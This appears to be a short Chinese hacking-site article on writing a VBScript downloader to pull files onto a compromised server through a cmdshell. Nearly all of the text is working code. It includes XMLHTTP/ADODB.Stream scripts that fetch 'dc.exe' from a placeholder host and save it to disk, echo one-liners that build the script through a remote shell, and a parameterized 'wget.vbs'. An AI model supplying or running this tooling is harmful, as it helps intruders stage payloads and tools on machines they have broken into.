黑基Web安全攻防班
黑基网 首页 IT技术 网络管理 查看内容

如何用VBS下载文件

2009-6-11 05:44| 投稿: winserver

摘要:   前一阵子朋友拿着cmdshell问我如何下载文件到上面,这不在这发表出来.  Set xPost = createObject("Microsoft.XMLHTTP")  xPost.Open "...
  前一阵子朋友拿着cmdshell问我如何下载文件到上面,这不在这发表出来.  Set xPost = createObject("Microsoft.XMLHTTP")  xPost.Open "GET","http://www.xx.com/dc.exe",0 ''''下载文件的地址  xPost.Send()  Set sGet = createObject("ADODB.Stream")  sGet.Mode = 3  sGet.Type = 1  sGet.Open()  sGet.Write(xPost.responseBody)  sGet.SaveToFile "c: dc.exe",2 ''''保存文件的路径和文件名  把以上代码保存在xx.vbs文件 执行cmd.exe xx.vbs  使用ECHO方法写入  echo Set xPost = createObject("Microsoft.XMLHTTP") >dc.vbs  echo xPost.Open "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs  echo xPost.Send() >>dc.vbs  echo Set sGet = createObject("ADODB.Stream") >>dc.vbs  echo sGet.Mode = 3 >>dc.vbs  echo sGet.Type = 1 >>dc.vbs  echo sGet.Open() >>dc.vbs  echo sGet.Write(xPost.responseBody) >>dc.vbs  echo sGet.SaveToFile "c: dc.exe",2 >>dc.vbs  ===================带参数的WGET.vbs==========  on error resume next  iLocal=LCase(Wscript.Arguments(1))  iRemote=LCase(Wscript.Arguments(0))  Set xPost=createObject("Microsoft.XMLHTTP")  xPost.Open "GET",iRemote,0  xPost.Send()  set sGet=createObject("ADODB.Stream")  sGet.Mode=3  sGet.Type=1  sGet.Open()  sGet.Write xPost.ResponseBody  sGet.SaveToFile iLocal,2  ===================带参数的WGET.vbs==========  ===================带参数的WGET.vbs==========  echo on  echo on error resume next >dc.vbs  echo iLocal=LCase(Wscript.Arguments(1))>>dc.vbs  echo iRemote=LCase(Wscript.Arguments(0))>>dc.vbs  echo Set xPost=createObject("Microsoft.XMLHTTP")>>dc.vbs  echo xPost.Open "GET",iRemote,0>>dc.vbs  echo xPost.Send()>>dc.vbs  echo set sGet=createObject("ADODB.Stream")>>dc.vbs  echo sGet.Mode=3>>dc.vbs  echo sGet.Type=1>>dc.vbs  echo sGet.Open()>>dc.vbs  echo sGet.Write xPost.ResponseBody>>dc.vbs  echo sGet.SaveToFile iLocal,2>>dc.vbs  echo off  pasue  ===================带参数的WGET.vbs==========  1.iget.vbs一次写入  在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写  Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2  这样我们可以一次echo成功,echo版本:  echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部